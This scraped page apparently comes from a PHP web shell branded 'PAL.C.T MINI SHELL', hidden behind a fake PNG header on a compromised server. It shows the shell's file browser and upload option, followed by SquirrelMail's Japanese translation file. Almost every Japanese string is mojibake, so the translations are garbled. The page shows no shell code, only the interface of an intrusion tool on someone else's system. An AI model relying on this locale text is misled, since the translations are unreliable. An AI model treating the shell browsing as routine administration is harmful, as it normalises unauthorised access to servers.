‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒ̟灙ûŸýÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?ŸqžSXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/ja_JP/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/ja_JP/LC_MESSAGES/squirrelmail.po

# Japanese (ja_JP) SquirrelMail Translation
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# HIGASHIYAMA Masato <masato@yamaai-tech.com>, 2002, 2003.
# Andre Nicholson <andre@neo-anime.org> 2005-2006.
# $Id: squirrelmail.po 13693 2009-05-14 00:26:43Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: SquirrelMail HEAD\n"
"POT-Creation-Date: 2006-02-21 06:50+0100\n"
"PO-Revision-Date: 2006-03-03 22:42+0100\n"
"Last-Translator: Andre Nicholson <andre@neo-anime.org>\n"
"Language-Team: Japanese <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"

msgid "Address Book"
msgstr "アドレス垳"

msgid "All"
msgstr "党お"

msgid "To"
msgstr "宛先"

msgid "Cc"
msgstr "Cc"

msgid "Name"
msgstr "名前"

msgid "E-mail"
msgstr "メヌル"

msgid "Info"
msgstr "情報"

msgid "Source"
msgstr "゜ヌス"

msgid "Bcc"
msgstr "Bcc"

msgid "Use Addresses"
msgstr "チェックしたアドレスを䜿う"

msgid "Cancel"
msgstr "キャンセル"

msgid "Address Book Search"
msgstr "アドレス垳の怜玢"

msgid "Search for"
msgstr "怜玢内容"

msgid "in"
msgstr "äž­"

msgid "All address books"
msgstr "党アドレス垳"

msgid "Search"
msgstr "怜玢"

msgid "List all"
msgstr "党衚瀺"

#, php-format
msgid "Unable to list addresses from %s"
msgstr "%s の怜玢結果は有りたせんでした"

msgid "Your search failed with the following error(s)"
msgstr "次の゚ラヌで怜玢に倱敗したした"

msgid "No persons matching your search were found"
msgstr "該圓する人はいたせんでした"

msgid "Return"
msgstr "戻る"

msgid "Close"
msgstr "閉じる"

msgid "Nickname"
msgstr "ニックネヌム"

msgid "Must be unique"
msgstr "重耇しないようにしおください"

msgid "E-mail address"
msgstr "メヌルアドレス"

msgid "Last name"
msgstr "姓"

msgid "First name"
msgstr "名"

msgid "Additional info"
msgstr "その他の情報"

msgid "Add to:"
msgstr "%s に远加"

msgid "No personal address book is defined. Contact administrator."
msgstr "アドレス垳が蚭定されおいたせん、管理者に連絡しおください"

msgid "You can only edit one address at the time"
msgstr "䞀床に䞀件しか線集できたせん"

msgid "Update address"
msgstr "アドレス垳を曎新"

msgid "ERROR"
msgstr "゚ラヌ"

msgid "Please select address that you want to edit"
msgstr ""

msgid "Add address"
msgstr "アドレスの远加"

msgid "Edit selected"
msgstr "遞択されたものを線集"

msgid "Delete selected"
msgstr "遞択されたものを削陀"

msgid "sort by nickname"
msgstr "ニックネヌムの順に分類"

msgid "sort by name"
msgstr "名前の順に分類"

msgid "sort by email"
msgstr "メヌルの順に分類"

msgid "sort by info"
msgstr "情報の順に分類"

#, php-format
msgid "Add to %s"
msgstr "%s に远加"

#, php-format
msgid "%s wrote:"
msgstr "%s さんは曞きたした"

msgid "quote"
msgstr "匕甚"

msgid "who"
msgstr "誰"

#, php-format
msgid "On %s, %s wrote:"
msgstr "%s に %s さんは曞きたした"

msgid "Subject"
msgstr "件名"

msgid "From"
msgstr "差出人"

msgid "Date"
msgstr "日付"

msgid "Original Message"
msgstr "オリゞナルメッセヌゞ"

msgid "Draft Email Saved"
msgstr "ドラフトに保存したした"

msgid "Could not move/copy file. File not attached"
msgstr "添付するファむルが芋぀かりたせん"

msgid "Draft Saved"
msgstr "ドラフトに保存したした"

msgid "Your Message has been sent."
msgstr "メッセヌゞを送信したした。"

msgid "From:"
msgstr "差出人"

msgid "Send"
msgstr "送信"

msgid "Attach:"
msgstr "添付"

msgid "Add"
msgstr "远加"

msgid "Delete selected attachments"
msgstr "遞択した添付ファむルを削陀"

msgid ""
"Because PHP file uploads are turned off, you can not attach files to this "
"message. Please see your system administrator for details."
msgstr ""

msgid "Priority"
msgstr "重芁床"

msgid "High"
msgstr "高"

msgid "Normal"
msgstr "äž­"

msgid "Low"
msgstr "䜎"

msgid "Receipt"
msgstr "受取通知"

msgid "On Read"
msgstr "読んだずき"

msgid "On Delivery"
msgstr "配送したずき"

msgid "Signature"
msgstr "眲名"

msgid "Addresses"
msgstr "アドレス垳"

msgid "Save Draft"
msgstr "ドラフトに保存"

msgid "You have not filled in the \"To:\" field."
msgstr "宛先が入力されおいたせん"

#, php-format
msgid "Error: Draft folder %s does not exist."
msgstr "゚ラヌ草皿甚フォルダ %s は存圚したせん。"

#, fuzzy
msgid "Server replied:"
msgstr "サヌバの応答"

#, fuzzy
msgid "Illegal folder name. Please select a different name."
msgstr "正しくないフォルダ名です、違う名前にしおください"

msgid "Click here to go back"
msgstr "戻る"

msgid "You have not selected a folder to delete. Please do so."
msgstr "削陀するフォルダが遞択されおいたせん"

msgid "Delete Folder"
msgstr "フォルダ削陀"

#, php-format
msgid "Are you sure you want to delete %s?"
msgstr "本圓に %s を削陀しおいいですか"

msgid "Yes"
msgstr "はい"

msgid "No"
msgstr "いいえ"

msgid "Folders"
msgstr "フォルダ"

#, fuzzy
msgid "Subscribed successfully."
msgstr "登録完了"

#, fuzzy
msgid "Unsubscribed successfully."
msgstr "解陀完了"

#, fuzzy
msgid "Deleted folder successfully."
msgstr "フォルダを削陀したした"

#, fuzzy
msgid "Created folder successfully."
msgstr "フォルダを䜜成したした"

#, fuzzy
msgid "Renamed successfully."
msgstr "名前を倉曎したした"

msgid "Subscription Unsuccessful - Folder does not exist."
msgstr "凊理は倱敗したした、フォルダが存圚したせん"

msgid "refresh folder list"
msgstr "リフレッシュ"

msgid "Create Folder"
msgstr "フォルダを䜜成"

msgid "as a subfolder of"
msgstr "䞋のフォルダのサブフォルダずしお"

msgid "None"
msgstr "なし"

msgid "Let this folder contain subfolders"
msgstr "このフォルダのサブフォルダずしお"

msgid "Create"
msgstr "䜜成"

msgid "Rename a Folder"
msgstr "フォルダ名を倉曎"

msgid "Select a folder"
msgstr "フォルダを遞択"

msgid "Rename"
msgstr "倉曎"

msgid "No folders found"
msgstr "フォルダが有りたせん"

msgid "Delete"
msgstr "削陀"

msgid "Unsubscribe"
msgstr "解陀する"

msgid "Subscribe"
msgstr "登録する"

msgid "No folders were found to unsubscribe from!"
msgstr "解陀するフォルダが芋付かりたせん"

msgid "No folders were found to subscribe to!"
msgstr "登録するフォルダが芋付かりたせん"

msgid "Subscribe to:"
msgstr "登録する"

msgid "You have not selected a folder to rename. Please do so."
msgstr "名前を倉曎するフォルダが遞択されおいたせん"

msgid "Rename a folder"
msgstr "名前を倉曎"

msgid "New name:"
msgstr "新しい名前"

msgid "Submit"
msgstr "登録"

msgid "ERROR: Help files are not in the right format!"
msgstr "゚ラヌヘルプファむルのフォヌマットが正しくありたせん"

msgid "Help"
msgstr "ヘルプ"

#, fuzzy
msgid ""
"The help has not been translated to the selected language. It will be "
"displayed in English instead."
msgstr "ヘルプファむルはただ %s に翻蚳されおいたせん、英語で衚瀺されたす"

msgid "Some or all of the help documents are not present!"
msgstr "䞀郚たたは党おのヘルプドキュメントは提䟛されおいたせん"

msgid "Table of Contents"
msgstr "目次"

msgid "Previous"
msgstr "戻る"

msgid "Next"
msgstr "次ぞ"

msgid "Top"
msgstr "トップ"

msgid "Viewing an image attachment"
msgstr "添付のむメヌゞファむルを衚瀺"

msgid "View message"
msgstr "メッセヌゞを衚瀺"

msgid "Download this as a file"
msgstr "このファむルをダりンロヌド"

msgid "INBOX"
msgstr "受信箱"

msgid "Purge"
msgstr "空にする"

msgid "Last Refresh"
msgstr "前リフレッシュ"

msgid "Check mail"
msgstr "メヌルをチェックする"

msgid "Login"
msgstr "ログむン"

#, php-format
msgid "%s Logo"
msgstr "%s ロゎ"

#, php-format
msgid "SquirrelMail version %s"
msgstr "SquirrelMail バヌゞョン %s"

msgid "By the SquirrelMail Project Team"
msgstr "SquirrelMail プロゞェクトのチヌムによっお"

#, php-format
msgid "%s Login"
msgstr "%s ログむン"

msgid "Name:"
msgstr "ログむン名"

msgid "Password:"
msgstr "パスワヌド"

msgid "No messages were selected."
msgstr "メッセヌゞが遞択されおいたせん"

msgid "Options"
msgstr "オプション"

msgid "Message Highlighting"
msgstr "メッセヌゞのハむラむト衚瀺"

msgid "New"
msgstr "新芏"

msgid "Done"
msgstr "完了"

msgid "To or Cc"
msgstr "To たたは Cc"

msgid "subject"
msgstr "件名"

msgid "Edit"
msgstr "線集"

msgid "Up"
msgstr "↑"

msgid "Down"
msgstr "↓"

msgid "No highlighting is defined"
msgstr "ハむラむト衚瀺は蚭定されおいたせん"

msgid "Identifying name"
msgstr "名前"

msgid "Color"
msgstr "色"

msgid "Dark Blue"
msgstr "濃い青"

msgid "Dark Green"
msgstr "濃い緑"

msgid "Dark Yellow"
msgstr "濃い黄色"

msgid "Dark Cyan"
msgstr "濃い氎色"

msgid "Dark Magenta"
msgstr "濃い玫"

msgid "Light Blue"
msgstr "明るい青"

msgid "Light Green"
msgstr "明るい緑"

msgid "Light Yellow"
msgstr "明るい黄色"

msgid "Light Cyan"
msgstr "明るい氎色"

msgid "Light Magenta"
msgstr "明るい玫"

msgid "Dark Gray"
msgstr "濃い灰色"

msgid "Medium Gray"
msgstr "灰色"

msgid "Light Gray"
msgstr "明るい灰色"

msgid "White"
msgstr "癜"

msgid "Other:"
msgstr "その他"

msgid "Ex: 63aa7f"
msgstr "䟋63aa7f"

msgid "Matches"
msgstr "䞀臎"

msgid "Default Identity"
msgstr "デフォルトID"

#, php-format
msgid "Alternate Identity %d"
msgstr "远加 ID%d"

msgid "Add a New Identity"
msgstr "新しい ID を远加"

msgid "Advanced Identities"
msgstr "远加の ID"

msgid "Full Name"
msgstr "フルネヌム"

msgid "E-Mail Address"
msgstr "メヌルアドレス"

msgid "Reply To"
msgstr "返信先を蚭定"

msgid "Save / Update"
msgstr "保存曎新"

msgid "Make Default"
msgstr "デフォルトにする"

msgid "Move Up"
msgstr "移動"

msgid "Index Order"
msgstr "衚瀺順の蚭定"

msgid "Checkbox"
msgstr "チェックボックス"

msgid "Flags"
msgstr "フラグ"

msgid "Size"
msgstr "サむズ"

#, fuzzy
msgid ""
"The index order is the order that the columns are arranged in the message "
"index. You can add, remove, and move columns around to customize them to fit "
"your needs."
msgstr "メッセヌゞ䞀芧の衚瀺項目を自分の奜きなように倉曎するこずが出来たす"

msgid "up"
msgstr "↑"

msgid "down"
msgstr "↓"

msgid "remove"
msgstr "削陀"

msgid "Return to options page"
msgstr "オプションペヌゞに戻る"

msgid "Personal Information"
msgstr "個人情報"

msgid "Display Preferences"
msgstr "衚瀺オプション"

msgid "Folder Preferences"
msgstr "フォルダの蚭定"

msgid "Error(s) occurred while saving your options"
msgstr ""

msgid "Some of your preference changes were not applied."
msgstr ""

msgid "Successfully Saved Options"
msgstr "オプションを保存したした"

msgid "Refresh Folder List"
msgstr "リフレッシュ"

msgid "Refresh Page"
msgstr "画面を曎新"

msgid ""
"This contains personal information about yourself such as your name, your "
"email address, etc."
msgstr "名前、メヌルアドレスなどの個人情報の蚭定をしたす。"

msgid ""
"You can change the way that SquirrelMail looks and displays information to "
"you, such as the colors, the language, and other settings."
msgstr "SquirrelMail の画面衚瀺の蚭定や蚀語、その他の遞択をしたす。"

#, fuzzy
msgid ""
"Based upon given criteria, incoming messages can have different background "
"colors in the message list. This helps to easily distinguish who the "
"messages are from, especially for mailing lists."
msgstr ""
"メッセヌゞの皮類毎に背景を倉曎するこずが出来たす。メッセヌゞが誰からの物か、"
"メヌリングリストのメッセヌゞなのか簡単に分かるようにできたす。"

msgid ""
"These settings change the way your folders are displayed and manipulated."
msgstr "フォルダの蚭定の倉曎をしたす。"

msgid ""
"The order of the message index can be rearranged and changed to contain the "
"headers in any order you want."
msgstr "メッセヌゞ䞀芧の衚瀺項目の順番を蚭定したす。"

msgid "Message not printable"
msgstr "メッセヌゞは印刷できたせん"

msgid "Attachments:"
msgstr "添付ファむル"

msgid "Unknown sender"
msgstr "送信者䞍明"

#, fuzzy
msgid "Info:"
msgstr "情報"

msgid "Size:"
msgstr "サむズ"

#, fuzzy
msgid "Type:"
msgstr "時間"

msgid "Invalid URL"
msgstr "無効 URL"

msgid "Printer Friendly"
msgstr "印刷甚"

msgid "Print"
msgstr "印刷"

msgid "View Printable Version"
msgstr "印刷甚バヌゞョン"

msgid "Read:"
msgstr "受取通知"

msgid "Your message"
msgstr "あなたのメッセヌゞ"

msgid "Sent"
msgstr "送信枈"

#, php-format
msgid "Was displayed on %s"
msgstr "%s に読たれたした。"

msgid "less"
msgstr "省略"

msgid "more"
msgstr "党郚"

msgid "Mailer"
msgstr "メヌラ"

msgid "Read receipt"
msgstr "受取通知"

msgid "sent"
msgstr "送信枈"

msgid "requested"
msgstr "芁求"

msgid ""
"The message sender has requested a response to indicate that you have read "
"this message. Would you like to send a receipt?"
msgstr ""
"メッセヌゞの送信者は、あなたがこのメッセヌゞを読んだこずを通知するこずを芁求"
"したした。受取通知を送信したすか"

msgid "Send read receipt now"
msgstr "受取通知をすぐに送信する"

msgid "Search Results"
msgstr "怜玢結果"

msgid "Message List"
msgstr "メッセヌゞ䞀芧"

msgid "Resume Draft"
msgstr "線集を続ける"

msgid "Edit Message as New"
msgstr "このメッセヌゞを線集"

msgid "View Message"
msgstr "メッセヌゞを衚瀺"

msgid "Forward"
msgstr "転送"

msgid "Forward as Attachment"
msgstr "添付ファむルずしお転送"

msgid "Reply"
msgstr "返信"

msgid "Reply All"
msgstr "党員に返信"

msgid "View Full Header"
msgstr "ヘッダの衚瀺"

msgid "Attachments"
msgstr "添付ファむル"

msgid "You must be logged in to access this page."
msgstr "このペヌゞにアクセスするにはアカりントが必芁です。"

msgid "Folder:"
msgstr "フォルダ"

msgid "edit"
msgstr "線集"

msgid "search"
msgstr "怜玢"

msgid "delete"
msgstr "削陀"

msgid "Recent Searches"
msgstr "珟圚の怜玢"

msgid "save"
msgstr "保存"

msgid "forget"
msgstr "砎棄"

msgid "Current Search"
msgstr "珟圚の怜玢"

msgid "All Folders"
msgstr "党フォルダ"

msgid "Body"
msgstr "本文"

msgid "Everywhere"
msgstr "党䜓"

msgid "No Messages Found"
msgstr "衚瀺するメッセヌゞはありたせん"

msgid "Signout"
msgstr "ログアりト"

msgid "Sign Out"
msgstr "ログアりト"

msgid "You have been successfully signed out."
msgstr "ログアりトしたした"

msgid "Click here to log back in."
msgstr "もう䞀床ログむンするにはここをクリックしおください。"

msgid "Viewing a Business Card"
msgstr "名刺"

#, php-format
msgid ""
"vCard Version %s is not supported. Some information might not be converted "
"correctly."
msgstr ""

msgid "Title"
msgstr "肩曞"

msgid "Web Page"
msgstr "画面を曎新"

msgid "Organization / Department"
msgstr "所属郚眲"

msgid "Address"
msgstr "䜏所"

msgid "Work Phone"
msgstr "電話仕事"

msgid "Home Phone"
msgstr "電話自宅"

msgid "Cellular Phone"
msgstr "携垯電話"

msgid "Fax"
msgstr "ファックス"

msgid "Note"
msgstr "メモ"

msgid "Add to address book"
msgstr "アドレス垳に远加"

msgid "Title & Org. / Dept."
msgstr "肩曞所属など"

msgid "Viewing Full Header"
msgstr "党ヘッダ衚瀺"

msgid "Viewing a text attachment"
msgstr "テキストの添付ファむルを衚瀺"

msgid ""
"Could not include PEAR database functions required for the database backend."
msgstr ""

#, php-format
msgid "Is PEAR installed, and is the include path set correctly to find %s?"
msgstr ""

msgid "Please contact your system administrator and report this error."
msgstr "この゚ラヌずずもに管理者に連絡を取っおください。"

msgid "Personal address book"
msgstr "パヌ゜ナルアドレス垳"

#, php-format
msgid "Database error: %s"
msgstr "デヌタベヌス゚ラヌ%s"

msgid "Addressbook is read-only"
msgstr "アドレス垳は読蟌専甚です。"

#, fuzzy, php-format
msgid "User \"%s\" already exists"
msgstr "ナヌザ名「%s」は既に䜿甚されおいたす"

#, fuzzy, php-format
msgid "User \"%s\" does not exist"
msgstr "ナヌザ名「%s」は存圚したせん。"

msgid "Not a file name"
msgstr "ファむル名ではありたせん"

msgid "No such file or directory"
msgstr "ファむルが芋぀かりたせん"

msgid "Open failed"
msgstr "オヌプンに倱敗したした"

msgid "Write failed"
msgstr "曞蟌に倱敗したした"

msgid "Unable to update"
msgstr "曎新に倱敗したした"

msgid "Could not lock datafile"
msgstr "デヌタファむルをロックできたせんでした"

msgid "Write to addressbook failed"
msgstr "アドレス垳の曞き蟌みに倱敗したした"

msgid "Error initializing addressbook database."
msgstr "アドレス垳の読み蟌みに倱敗したした"

#, php-format
msgid "Error opening file %s"
msgstr "%s のファむルが開けたせんでした"

msgid "Global address book"
msgstr "共通アドレス垳"

msgid "Error initializing global addressbook."
msgstr "グロヌバルアドレス垳の初期化に倱敗したした"

#, php-format
msgid "Error initializing LDAP server %s:"
msgstr "%s の LDAP サヌバの初期化に倱敗したした"

msgid "Click here to change the sorting of the address list"
msgstr ""

msgid "Invalid input data"
msgstr "入力デヌタが異垞です"

msgid "Name is missing"
msgstr "名前が入力されおいたせん"

msgid "E-mail address is missing"
msgstr "メヌルアドレスが入力されおいたせん"

msgid "Nickname contains illegal characters"
msgstr "ニックネヌムに䜿甚出来ない文字が含たれおいたす"

#, fuzzy
msgid "View"
msgstr "衚瀺"

#, fuzzy
msgid "View Business Card"
msgstr "名刺"

msgid "Sunday"
msgstr "日曜日"

msgid "Monday"
msgstr "月曜日"

msgid "Tuesday"
msgstr "火曜日"

msgid "Wednesday"
msgstr "氎曜日"

msgid "Thursday"
msgstr "朚曜日"

msgid "Friday"
msgstr "金曜日"

msgid "Saturday"
msgstr "土曜日"

msgid "Sun"
msgstr "日"

msgid "Mon"
msgstr "月"

msgid "Tue"
msgstr "火"

msgid "Wed"
msgstr "æ°Ž"

msgid "Thu"
msgstr "朚"

msgid "Fri"
msgstr "金"

msgid "Sat"
msgstr "土"

msgid "January"
msgstr "1月"

msgid "February"
msgstr "2月"

msgid "March"
msgstr "3月"

msgid "April"
msgstr "4月"

msgid "May"
msgstr "5月"

msgid "June"
msgstr "6月"

msgid "July"
msgstr "7月"

msgid "August"
msgstr "8月"

msgid "September"
msgstr "9月"

msgid "October"
msgstr "10月"

msgid "November"
msgstr "11月"

msgid "December"
msgstr "12月"

msgid "Jan"
msgstr "1月"

msgid "Feb"
msgstr "2月"

msgid "Mar"
msgstr "3月"

msgid "Apr"
msgstr "4月"

msgid "Ma&#121;"
msgstr "5月"

msgid "Jun"
msgstr "6月"

msgid "Jul"
msgstr "7月"

msgid "Aug"
msgstr "8月"

msgid "Sep"
msgstr "9月"

msgid "Oct"
msgstr "10月"

msgid "Nov"
msgstr "11月"

msgid "Dec"
msgstr "12月"

msgid "D, F j, Y g:i a"
msgstr "Y幎 F j日Dg:i a"

msgid "D, F j, Y H:i"
msgstr "Y幎 F j日DH:i"

msgid "M j, Y"
msgstr "Y幎 M j日"

msgid "g:i a"
msgstr "g:i a"

msgid "H:i"
msgstr "H:i"

msgid "D, g:i a"
msgstr "Dg:i a"

msgid "D, H:i"
msgstr "DG:i"

#, php-format
msgid "Preference database error (%s). Exiting abnormally"
msgstr "蚭定ファむル゚ラヌ%s、 異垞終了したした"

#, php-format
msgid "Click here to return to %s"
msgstr "クリックするず %s に戻りたす"

msgid "Go to the login page"
msgstr "ログむンペヌゞぞ"

#, php-format
msgid ""
"Preference file, %s, does not exist. Log out, and log back in to create a "
"default preference file."
msgstr "蚭定ファむル %s が存圚したせん。再ログむンしおください。"

#, php-format
msgid ""
"Preference file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"蚭定ファむル %s をオヌプンできたせん。この゚ラヌずずもに管理者に連絡を取っお"
"ください。"

#, php-format
msgid ""
"Preference file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"蚭定ファむル %s に曞き蟌みできたせん。この゚ラヌずずもに管理者に連絡を取っお"
"ください。"

#, php-format
msgid ""
"Preference file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"蚭定ファむル %s を䞀時ファむル %s からコピヌできたせんでした。この゚ラヌずず"
"もに管理者に連絡を取っおください。"

#, php-format
msgid "Error opening %s"
msgstr "オヌプン゚ラヌ %s"

msgid "Default preference file not found or not readable!"
msgstr "デフォルトの蚭定ファむルが芋付からないか読み蟌めたせん。"

msgid "Could not create initial preference file!"
msgstr "初期蚭定ファむルを䜜るこずができたせんでした。"

#, php-format
msgid "%s should be writable by user %s"
msgstr "%s はナヌザ %s によっお曞き蟌み可胜でなければいけたせん"

#, fuzzy
msgid "Signature is too big."
msgstr "眲名オプション"

#, php-format
msgid ""
"Signature file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"眲名ファむル %s がオヌプンできたせん。この゚ラヌずずもに管理者に連絡を取っお"
"ください。"

#, php-format
msgid ""
"Signature file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"眲名ファむル %s に曞き蟌みできたせん。この゚ラヌずずもに管理者に連絡を取っお"
"ください。"

#, php-format
msgid ""
"Signature file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"眲名ファむル %s が䞀時ファむル %s からコピヌできたせんでした。この゚ラヌずず"
"もに管理者に連絡を取っおください。"

msgid ""
"You need to have PHP installed with the multibyte string function enabled "
"(using configure option --enable-mbstring)."
msgstr ""

msgid "ERROR: No available IMAP stream."
msgstr "゚ラヌIMAP stream が利甚できたせん"

#, fuzzy
msgid "ERROR: Connection dropped by IMAP server."
msgstr "imap サヌバが接続を切断したした。"

#, fuzzy
msgid "ERROR: Could not complete request."
msgstr "゚ラヌ芁求を完了できたせんでした。"

msgid "Query:"
msgstr "問合せ"

#, fuzzy
msgid "Reason Given:"
msgstr "理由"

#, fuzzy
msgid "ERROR: Bad or malformed request."
msgstr "゚ラヌリク゚ストに異垞がありたす。"

#, fuzzy
msgid "Server responded:"
msgstr "サヌバの応答"

#, fuzzy
msgid "ERROR: IMAP server closed the connection."
msgstr "゚ラヌimap サヌバが接続を閉じたした。"

#, fuzzy
msgid "ERROR: Unknown IMAP response."
msgstr "゚ラヌimap の䞍明な応答"

#, php-format
msgid "Error connecting to IMAP server: %s."
msgstr "IMAP サヌバヌの接続で゚ラヌ%s"

msgid "The IMAP server is reporting that plain text logins are disabled."
msgstr ""

msgid "Using CRAM-MD5 or DIGEST-MD5 authentication instead may work."
msgstr ""

msgid "Also, the use of TLS may allow SquirrelMail to login."
msgstr ""

#, php-format
msgid "Bad request: %s"
msgstr "䞍正な芁求%s"

#, php-format
msgid "Unknown error: %s"
msgstr "原因䞍明の゚ラヌ%s"

msgid "Read data:"
msgstr "読んだデヌタ"

msgid "Unknown user or password incorrect."
msgstr "ナヌザ名かパスワヌドが間違っおいたす"

#, fuzzy
msgid "ERROR: Could not append message to"
msgstr "゚ラヌ芁求を完了できたせんでした。"

#, fuzzy
msgid "Solution:"
msgstr "解決法"

msgid ""
"Remove unneccessary messages from your folder and start with your Trash "
"folder."
msgstr "䞍芁なメッセヌゞをフォルダから削陀しおください。"

msgid "(no subject)"
msgstr "無題"

msgid "Unknown Sender"
msgstr "送信者䞍明"

#, fuzzy
msgid "Unknown response from IMAP server:"
msgstr "異垞な応答が IMAP サヌバヌからありたした"

msgid "The server couldn't find the message you requested."
msgstr "芁求されたメッセヌゞが芋぀かりたせんでした。"

msgid ""
"Most probably your message list was out of date and the message has been "
"moved away or deleted (perhaps by another program accessing the same "
"mailbox)."
msgstr "メッセヌゞが他のプログラムによっお移動たたは削陀されおいたす。"

msgid "Unknown date"
msgstr "日付䞍明"

msgid "A"
msgstr "A"

#, fuzzy
msgid "Thread sorting is not supported by your IMAP server."
msgstr ""
"スレッド゜ヌトはあなたの IMAP サヌバではサポヌトされおいたせん。<br>システム"
"管理者に報告しおください。"

#, fuzzy
msgid "Server-side sorting is not supported by your IMAP server."
msgstr ""
"サヌバサむド゜ヌティングはあなたの IMAP サヌバではサポヌトされおいたせん。"
"<br>システム管理者に報告しおください。"

msgid "THIS FOLDER IS EMPTY"
msgstr "このフォルダは空です。"

msgid "Move Selected To"
msgstr "チェックしたものの移動"

msgid "Transform Selected Messages"
msgstr "チェックしたものの状態倉曎"

msgid "Move"
msgstr "移動"

msgid "Expunge"
msgstr "削陀する"

msgid "mailbox"
msgstr "メヌルボックス"

msgid "Read"
msgstr "既読"

msgid "Unread"
msgstr "未読"

msgid "Unthread View"
msgstr "スレッドなし衚瀺"

msgid "Thread View"
msgstr "スレッド衚瀺"

msgid "Toggle All"
msgstr "党反転"

msgid "Unselect All"
msgstr "党遞択解陀"

msgid "Select All"
msgstr "党遞択"

#, php-format
msgid "Viewing Messages: %s to %s (%s total)"
msgstr "%s - %s 件目を衚瀺䞭%s 件䞭"

#, php-format
msgid "Viewing Message: %s (%s total)"
msgstr "%s 件目を衚瀺䞭%s 件䞭"

msgid "Paginate"
msgstr "ペヌゞ衚瀺"

msgid "Show All"
msgstr "党衚瀺"

msgid "SquirrelMail could not decode the bodystructure of the message"
msgstr "SquirrelMail はメッセヌゞの構造をデコヌドできたせんでした"

#, fuzzy
msgid "The bodystructure provided by your IMAP server:"
msgstr "あなたの imap サヌバによっお提䟛された本文の構造"

msgid ""
"Body retrieval error. The reason for this is most probably that the message "
"is malformed."
msgstr "読み出し゚ラヌです。理由はメッセヌゞに異垞があるためです。"

msgid "Command:"
msgstr "コマンド"

msgid "Response:"
msgstr "応答"

msgid "Message:"
msgstr "メッセヌゞ"

msgid "FETCH line:"
msgstr "取り蟌んでいる行"

msgid "Hide Unsafe Images"
msgstr "安党でないむメヌゞを隠す"

msgid "View Unsafe Images"
msgstr "安党でないむメヌゞの衚瀺"

msgid "Download"
msgstr "ダりンロヌド"

msgid "sec_remove_eng.png"
msgstr "sec_remove_ja_JP.png"

msgid "This external link will open in a new window"
msgstr "この倖郚リンクは新しいりィンドりで開きたす。"

#, php-format
msgid "Option Type '%s' Not Found"
msgstr "オプションタむプ「%s」が芋付かりたせん。"

msgid "Current Folder"
msgstr "珟圚のフォルダ"

msgid "Compose"
msgstr "メッセヌゞ䜜成"

#, php-format
msgid "Error creating directory %s."
msgstr "%s のディレクトリが䜜成できたせん。"

msgid "Could not create hashed directory structure!"
msgstr "ハッシュディレクトリの䜜成ができたせん。"

msgid "Service not available, closing channel"
msgstr "サヌビスは䜿甚できたせん。チャンネルを閉じたす。"

msgid "A password transition is needed"
msgstr "パスワヌドの倉曎が必芁です。"

msgid "Requested mail action not taken: mailbox unavailable"
msgstr "芁求された凊理ができたせんメヌルボックスがありたせん"

msgid "Requested action aborted: error in processing"
msgstr "芁求された凊理を䞭断したした凊理䞭の゚ラヌ"

msgid "Requested action not taken: insufficient system storage"
msgstr "芁求された凊理ができたせんシステムのストレヌゞ容量が足りたせん<"

msgid "Temporary authentication failure"
msgstr "認蚌に倱敗したした"

msgid "Syntax error; command not recognized"
msgstr "文法゚ラヌコマンドが認識できない"

msgid "Syntax error in parameters or arguments"
msgstr "パラメヌタに文法゚ラヌがある"

msgid "Command not implemented"
msgstr "コマンドは実装されおいたせん"

msgid "Bad sequence of commands"
msgstr "コマンドの順番が異垞"

msgid "Command parameter not implemented"
msgstr "コマンドパラメヌタは実装されおいたせん"

msgid "Authentication required"
msgstr "認蚌が必芁です"

msgid "Authentication mechanism is too weak"
msgstr "認蚌機構が非垞に匱すぎる"

msgid "Authentication failed"
msgstr "認蚌に倱敗したした"

msgid "Encryption required for requested authentication mechanism"
msgstr "芁求された認蚌機構には暗号化が必芁です"

msgid "Requested action not taken: mailbox unavailable"
msgstr "芁求された動䜜は実行できたせんメヌルボックスが利甚できたせん"

msgid "User not local; please try forwarding"
msgstr "ナヌザはロヌカルにはいたせん転送を詊しおください"

msgid "Requested mail action aborted: exceeding storage allocation"
msgstr "芁求された動䜜は䞭断されたしたストレヌゞが䞀杯です"

msgid "Requested action not taken: mailbox name not allowed"
msgstr "芁求された動䜜は実行できたせんメヌルボックスが利甚できたせん"

msgid "Transaction failed"
msgstr "翻蚳に倱敗したした"

msgid "Unknown response"
msgstr "䞍明な応答"

msgid "General Display Options"
msgstr "衚瀺オプション"

msgid "Theme"
msgstr "テヌマ"

msgid "Default"
msgstr "デフォルト"

msgid "Custom Stylesheet"
msgstr "カスタムスタむルシヌト"

msgid "Language"
msgstr "蚀語"

msgid "Use Javascript"
msgstr "JavaScript の䜿甚"

msgid "Autodetect"
msgstr "自動怜出"

msgid "Always"
msgstr "垞に䜿甚"

msgid "Never"
msgstr "䜿甚しない"

msgid "Mailbox Display Options"
msgstr "メヌルボックスの衚瀺オプション"

msgid "Number of Messages per Page"
msgstr "1 ペヌゞに衚瀺するメッセヌゞ数"

msgid "Enable Alternating Row Colors"
msgstr "行ごずに色を倉える"

msgid "Enable Page Selector"
